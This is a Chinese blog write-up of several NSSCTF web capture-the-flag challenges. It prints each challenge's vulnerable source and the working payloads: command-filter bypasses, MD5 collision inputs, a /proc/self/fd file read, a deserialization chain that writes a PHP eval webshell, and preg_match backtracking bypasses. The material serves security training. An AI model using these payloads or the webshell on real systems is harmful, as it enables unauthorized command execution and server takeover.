NSSCTF web 刷题记录2
文章目录
- 前言
- 题目
- [广东强网杯 2021 团队组]love_Pokemon
- [NCTF 2018]Easy_Audit
- [安洵杯 2019]easy_web
- [NCTF 2018]全球最大交友网站
- prize_p2
- [羊城杯 2020]easyser
- [FBCTF 2019]rceservice
- 方法一
- 方法二
前言
今天是2023年9月13号,刷题记录2正式开始。时间来到九月十七号,因为病情导致休学;对于刚规划好的学习计划的我来说无疑是当头一棒,运气是差了点也不知道是不是被传染的,不过现在精神还不错,至少ctf的题目我还是沉得下心,所以借此转移我的注意力。
题目
[广东强网杯 2021 团队组]love_Pokemon
源代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){mkdir($dir);
}function DefenderBonus($Pokemon){if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){die('catch broken Pokemon! mew-_-two');}else{return $Pokemon;}}function ghostpokemon($Pokemon){if(is_array($Pokemon)){foreach ($Pokemon as $key => $pks) {$Pokemon[$key] = DefenderBonus($pks);}}else{$Pokemon = DefenderBonus($Pokemon);}
}switch($_POST['myfavorite'] ?? ""){case 'picacu!':echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);break;case 'bulbasaur!':echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);$level = $_POST["levelup"] ?? "";if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){echo file_get_contents('./hint.php');}break;case 'squirtle':echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);break;case 'mewtwo':$dream = $_POST["dream"] ?? "";if(strlen($dream)>=20){die("So Big Pokenmon!");}ghostpokemon($dream);echo shell_exec($dream);
}?>
简单分析一下,首先是两个函数,功能分别为正则匹配一些字符;foreach循环检测每个值是否合法。然后就是swtich选择结构。
我们思路是可以先看看hint有什么,为了绕过if条件判断,我们可以用%81去绕过,因为%81为不可见字符,escapeshellcmd又可以将不可见字符消除
payload
myfavorite=bulbasaur!&levelup=lv%81100
可以看到提示flag的位置以及文件名
回到源码,发现过滤了很多
我们可以用od命令和正则匹配去绕过检测,同时空格过滤替换
od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容。
payload
myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G
注:/F[B-Z][@-Z]G匹配/FLAG
将这一串得到的八进制数字转换成字符串
脚本如下
dump = "0000000 051516 041523 043124 062173 062545 034463 063144 026467 0000020 034460 032060 032055 061070 026471 030470 030544 033455 0000040 030141 034066 034470 062067 032145 076467 000012 0000055"
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:if (len(hex(n)) > 4):swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())
得到flag

[NCTF 2018]Easy_Audit
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){foreach ($_REQUEST as $key => $value) {if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');}
}if($_SERVER){if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}if(isset($_GET['yulige'])){if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!die('waf..');}else{if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){$getflag = file_get_contents($_GET['flag']);}if(isset($getflag) && $getflag === 'ccc_liubi'){include 'flag.php';echo $flag;}else die('waf..');}
}
?>
既然源码都给了,那我们一步步分析
首先是$_REQUEST有一个特性,当GET和POST有相同的变量时,匹配POST的变量,那么就可以同时传参GET和POST即可
然后就是$_SERVER['QUERY_STRING'],用于获取当前请求的查询字符串部分。查询字符串是位于 URL 中 ? 符号之后的部分,包含了以键值对形式传递的参数。所以我们可以url编码绕过即可
最后就是三个if语句,第一个我们数组绕过,因为传进去是个数组的时候,值就为空,自然就相等了;第二个preg_match只是结尾匹配字符串,那么我们直接传1nctfisfun绕过;第三个用php伪协议,传入值为data://text/plain,ccc_liubi
payload
GET:?%79%75%6C%69%67%65%5B[]=1&%6E%63%74%66=1%6E%63%74%66%69%73%66%75%6E&%66%6C%61%67=data://text/plain,ccc_liubiPOST:yulige=1&nctf=1&flag=1
注:将GET传参的三个变量名url编码一下
得到flag

[安洵杯 2019]easy_web
打开题目,发现有两个已经知道的参数
尝试传?cmd=php://filter/resource=flag.php发现没有反应
把穿的img的值放到cyberchef解码一下,发现经过base64–>base64–>Hex后,得到555.png

说明我们传的参数得为加密后的,我们尝试上传index.php去读取源码
php://filter/resource=index.php
经过Hex–>base64–>base64加密后,传参img(先试了参数cmd发现没反应)
但是没有显示源码

又试了试改为读取flag.php,还是不行

还是选择抓包看看读取index.php时返回了什么

我们不用伪协议,直接读取看看,index.php经过加密后上传

解密一下得到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png) no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
关键代码
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}
参数cmd匹配大小写,且过滤了很多
空格用%20代替
如果绕过检测,继续判断(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
这里的MD5得使用强绕过,不能使用数组绕过,因为这里使用了String强转换
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
(nss的不行,直接去buu做)
我们可以dir看一下目录

发现没有只好去看下根目录
我们可以用反斜杠绕过
如果 $cmd 的值为 “l\s”,那么在传递给 preg_match 函数之前,PHP 会首先将其转换为 “l\s”,其中第二个反斜杠是用来转义第一个反斜
杠的。由于正则表达式中没有直接匹配 “l\s” 这个字符串,所以它不会被正则表达式匹配,从而成功绕过了这个正则表达式的检测。
?cmd=l\s%20/

直接cat一下,得到flag
?cmd=ca\t%20/f\lag

[NCTF 2018]全球最大交友网站
打开题目,下载a.zip发现有.git文件
那我们用GitHack扫一下
打开发现有提示,提示我们真正的源码在tag == 1.0的commit
Allsource files areingit tag1.0
我们先git log命令查看历史版本

因为git版本更新啥的以前的flag文件可能就无了,而我们可以利用git reset命令查看git版本变化时每次提交的commit修改值查看修改的文件然后来回溯到对应版本,这里flag应该在最老的版本
git reset --hard 02b7f44320ac0ec69e954ab39f627b1e13d1d362
得到flag

prize_p2
源码
const { randomBytes } = require('crypto');
const express = require('express');
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {fs.read(fd, flag, 0, 44, 0, () => {fs.rm(fp, () => {});//这里删除了flag文件,但是文件打开了并没有关闭,并且这个js进程监听80端口也还在运行 });
});app.get('/', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync(__filename));
});app.get('/hint', function (req, res) {res.send(flag.toString().slice(0, randomBytes(1)[0]%32));
})// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');try {let a = req.query.a;if (a === randomBytes(3).toString()) {res.send(fs.readFileSync(req.query.b));} else {const t = setTimeout(() => {res.send(fs.readFileSync(req.query.b));}, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);}} catch {res.send('?');}
})app.listen(80, '0.0.0.0', () => {console.log('Start listening')
});
我们先试试路径为/hint的GET请求
发现只能读一半

那么我们再看看路径为/getflag的GET请求
首先是使用Node.js的randomBytes函数生成一个长度为3的随机字节数组,将其转换为字符串,然后与变量"a"进行比较,如果不相等,执行setTimeout()回调函数。回调函数读取查询参数中名为"b"的文件,并将其内容作为响应发送回客户端。定时器的延迟时间由查询参数中的"c"决定,如果"c"是一个可解析为整数的值,则取该值与86400*1000(一天的毫秒数)之间的较大值作为延迟时间;否则,延迟时间为一天的毫秒数。
这里我们可以利用setTimeout()的漏洞,即setTimeout()的第二参数是用int类型来存储的,所以范围为1-2147483637,当不在这个范围时就会发生溢出,使用默认值1,相当于0延迟去绕过
这里由于我们是有这个正在运行的js文件发起的读文件请求,所以/proc/self目录就是这个js文件,所以PID可以用self代替,关键就在于fd的爆破了
payload
?c=2147483649&b=/proc/self/fd/18
得到flag

[羊城杯 2020]easyser
打开题目,没有什么发现
那么我们直接扫一下目录
我们直接访问./robots.txt
继续访问,发现来到有可以ssrf的界面,参数是path

我们查看下源码,发现有提示
分析一下,不安全的协议应该就是http,因为它相对于https是不安全的;提示从我家,那么就是访问地址为127.0.0.1
payload
?path=http://127.0.0.1/ser.php
访问后发现暴露了源码
源码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?> your hat is too black!
发现是反序列化,但是没有参数我们上传不了
这里用到一个工具arjun(可以爆破页面参数)
不过我这里2.2.1版本爆不出来
以前的版本是可以爆出还有另外一个参数c
回到反序列化
pop链子
GWHT.__toString() --> Yongen.hasaki()
但是这里有个疑惑点,就是__toString()怎么调用呢
然后参考了其他师傅的wp,结合我们暴露源码时最下面的your hat is too black!
猜测是源码中反序列化点会直接输出对象,直接能触发该方法。
逻辑如下
$c=$_GET['c']; if(isset($c)){echo $x = unserialize($c); //echo 的时候会触发 __toString() 魔术方法}else{echo "your hat is too black!";}
然后我们开始构造exp,这里有个关键点就是如何绕过死亡代码<?php die("nononon");?>,因为它会拼接起来去执行。我们的方法是strip_tags绕过,因为死亡代码实际上是XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。所以注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。
exp如下
<?php
class GWHT{public $hero;}
class Yongen{ //flag.phppublic $file;public $text;}
class Yasuo{}$a=new GWHT();
$b=new Yongen();
$a->hero=$b;
$a->hero->file='php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$a->hero->text='PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==';
//<?php @eval($_POST['shell']);?>经过base64编码
echo serialize($a);?>
上传payload
?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:71:"php://filter/string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:44:"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==";}}
然后ls一下
得到flag

[FBCTF 2019]rceservice
源码(网上搜的)
<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}
?>
打开题目,发现是要我们传参json格式的命令,并且过滤了很多东西
方法一
最开始想构造这个,发现cat用不了并且没有把preg_match绕过
?cmd={"cmd":"cat /flag"}
参考了其他师傅wp,发现原来是preg_match没有cat这个命令;然而Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
故在payload中我们先在bin目录下找到要使用的cat,如下图
同样我们可以在/home/rceservice找到flag
至于如何绕过preg_match,我们选择换行绕过
payload
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
得到flag

方法二
利用preg_match()函数的最大回溯机制次数限制
同理先用脚本找cat命令和flag的位置
脚本如下
import requests
url='http://node4.anna.nssctf.cn:28028/';
data={'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)
得到flag

相关文章:
NSSCTF web 刷题记录2
文章目录 前言题目[广东强网杯 2021 团队组]love_Pokemon[NCTF 2018]Easy_Audit[安洵杯 2019]easy_web[NCTF 2018]全球最大交友网站prize_p2[羊城杯 2020]easyser[FBCTF 2019]rceservice方法一方法二 前言 今天是2023年9月13号,刷题记录2正式开始。时间来到九月十七…...
Linux驱动之INPUT子系统框架
目录 一、input 子系统简介 二、input 驱动编写流程 1、注册 input_dev 2、上报输入事件 三、input_event 结构体 按键、鼠标、键盘、触摸屏等都属于输入(input)设备, Linux 内核为此专门做了一个叫做 input子系统的框架来处理输入事件。输入设备本质上还是字符设…...
Long类型雪花算法ID返回前端后三位精度缺失问题解决
目录 一、问题描述二、问题复现1.Maven依赖2.application.yml 配置3.DemoController.java4.snowflakePage.html 页面5.DemoControllerAdvice.java 监听6.问题复现 三、原因分析四、问题解决方案一方案二 一、问题描述 Java 后端使用雪花算法生成 Long 类型的主键 ID࿰…...
6.8-SpringIoC之循环依赖底层源码解析
解决靠,三级缓存 创建Map,存不完整的Bean 存在问题:属性存在但没有值...
Springboot 实践(18)Nacos配置中心参数自动刷新测试
前文讲解了Nacos 2.2.3配置中心的服务端的下载安装,和springboot整合nacos的客户端。Springboot整合nacos关键在于使用的jar版本要匹配,文中使用版本如下: ☆ springboot版本: 2.1.5.RELEASE ☆ spring cloud版本 Greenwich.RELEASE ☆ sp…...
uniapp引入小程序原生插件
怎么在uniapp中使用微信小程序原生插件,以收钱吧支付插件为例 1、在manifest.json里的mp-weixin中增加插件配置 "mp-weixin" : {"appid" : "你的小程序appid","setting" : {"urlCheck" : false},"usingCom…...
自己记录微信小程序开发遇到的问题
在HBuilder X中【运行】--【小程序】--【运行设置】,小程序运行配置,将【微信开发者工具】的安装路径配置进去,首次运行会自动让你填写; 1、hbuildx运行到微信开发者工具报错 Error: Unbalanced delimiter found in string 错误…...
【leetcode 力扣刷题】栈—波兰式///逆波兰式相关知识和题目
波兰式、逆波兰式相关知识和题目 波兰式、逆波兰式介绍常规表达式转换成逆波兰式编程让常规表达式转换成逆波兰式逆波兰式运算过程常规表达式转换成波兰式编程让常规表达式转换成波兰式波兰式运算过程 150. 逆波兰式表达式求值224. 基本计算器227. 基本计算器Ⅱ282. 给表达式添…...
Web 第一步:HTTP 协议(基础)
这里是JavaWeb的开头部分!那么先解释一下吧: Web:全球广域网,也称为万维网(www),能够通过浏览器访问的网站。 JavaWeb:是用Java技术来解决相关 Web 互联网领域的技术栈。 …...
【Vue】快速入门案例与工作流程的讲解
🎉🎉欢迎来到我的CSDN主页!🎉🎉 🏅我是Java方文山,一个在CSDN分享笔记的博主。📚📚 🌟在这里,我要推荐给大家我的专栏《Vue快速入门》。…...
LuatOS-SOC接口文档(air780E)--camera - codec - 多媒体-编解码
常量 常量 类型 解释 codec.MP3 number MP3格式 codec.WAV number WAV格式 codec.AMR number AMR-NB格式,一般意义上的AMR codec.AMR_WB number AMR-WB格式 codec.create(type, isDecoder) 创建编解码用的codec 参数 传入值类型 解释 int 多媒…...
《动手学深度学习 Pytorch版》 6.6 卷积神经网络
import torch from torch import nn from d2l import torch as d2l6.6.1 LeNet LetNet-5 由两个部分组成: - 卷积编码器:由两个卷积核组成。 - 全连接层稠密块:由三个全连接层组成。模型结构如下流程图(每个卷积块由一个卷积层、…...
【微信小程序】项目初始化
| var() CSS 函数可以插入一个自定义属性(有时也被称为“CSS 变量”)的值,用来代替非自定义 属性中值的任何部分。 1.初始化样式与颜色 view,text{box-sizing: border-box; } page{--themColor:#ad905c;--globalColor:#18191b;--focusColor…...
C#,《小白学程序》第二十六课:大数乘法(BigInteger Multiply)的Toom-Cook 3算法及源程序
凑数的,仅供参考。 1 文本格式 /// <summary> /// 《小白学程序》第二十六课:大数(BigInteger)的Toom-Cook 3乘法 /// Toom-Cook 3-Way Multiplication /// </summary> /// <param name"a"></par…...
destoon自定义一个archiver内容文档
在archiver目录建立以下代码: <?php define(DT_REWRITE, true); require ../common.inc.php; $EXT[archiver_enable] or dheader(DT_PATH); //$DT_BOT or dheader(DT_PATH); $N $M $T array(); $mid or $mid 5; $vmid $list 0; foreach($MODULE as $k>…...
5-1 Dataset和DataLoader
Pytorch通常使用Dataset和DataLoader这两个工具类来构建数据管道。 Dataset定义了数据集的内容,它相当于一个类似列表的数据结构,具有确定的长度,能够用索引获取数据集中的元素。 而DataLoader定义了按batch加载数据集的方法,它是…...
IDEA创建完Maven工程后,右下角一直显示正在下载Maven插件
原因: 这是由于新建的Maven工程,IDEA会用它内置的默认的Maven版本,使用国外的网站下载Maven所需的插件,速度很慢 。 解决方式: 每次创建 Project 后都需要设置 Maven 家目录位置(就是我们自己下载的Mav…...
最新清理删除Mac电脑内存空间方法教程
Mac电脑使用的时间越久,系统的运行就会变的越卡顿,这是Mac os会出现的正常现象,卡顿的原因主要是系统缓存文件占用了较多的磁盘空间,或者Mac的内存空间已满。如果你的Mac运行速度变慢,很有可能是因为磁盘内存被过度占用…...
【调试经验】MySQL - fatal error: mysql/mysql.h: 没有那个文件或目录
机器环境: Ubuntu 22.04.3 LTS 报错问题 在编译一个项目时出现了一段SQL报错: CGImysql/sql_connection_pool.cpp:1:10: fatal error: mysql/mysql.h: 没有那个文件或目录 1 | #include <mysql/mysql.h> | ^~~~~~~~~~~~~~~ c…...
腾讯mini项目-【指标监控服务重构】2023-08-12
今日已办 Watermill Handler 将 4 个阶段的逻辑处理定义为 Handler 测试发现,添加的 handler 会被覆盖掉,故考虑添加为 middleware 且 4 个阶段的处理逻辑针对不同 topic 是相同的。 参考https://watermill.io/docs/messages-router/实现不同topic&am…...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...
基于Uniapp开发HarmonyOS 5.0旅游应用技术实践
一、技术选型背景 1.跨平台优势 Uniapp采用Vue.js框架,支持"一次开发,多端部署",可同步生成HarmonyOS、iOS、Android等多平台应用。 2.鸿蒙特性融合 HarmonyOS 5.0的分布式能力与原子化服务,为旅游应用带来…...
苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...
HDFS分布式存储 zookeeper
hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...
使用Spring AI和MCP协议构建图片搜索服务
目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式(本地调用) SSE模式(远程调用) 4. 注册工具提…...
20个超级好用的 CSS 动画库
分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码,而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库,可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画,可以包含在你的网页或应用项目中。 3.An…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
MinIO Docker 部署:仅开放一个端口
MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...
OD 算法题 B卷【正整数到Excel编号之间的转换】
文章目录 正整数到Excel编号之间的转换 正整数到Excel编号之间的转换 excel的列编号是这样的:a b c … z aa ab ac… az ba bb bc…yz za zb zc …zz aaa aab aac…; 分别代表以下的编号1 2 3 … 26 27 28 29… 52 53 54 55… 676 677 678 679 … 702 703 704 705;…...
k8s从入门到放弃之HPA控制器
k8s从入门到放弃之HPA控制器 Kubernetes中的Horizontal Pod Autoscaler (HPA)控制器是一种用于自动扩展部署、副本集或复制控制器中Pod数量的机制。它可以根据观察到的CPU利用率(或其他自定义指标)来调整这些对象的规模,从而帮助应用程序在负…...
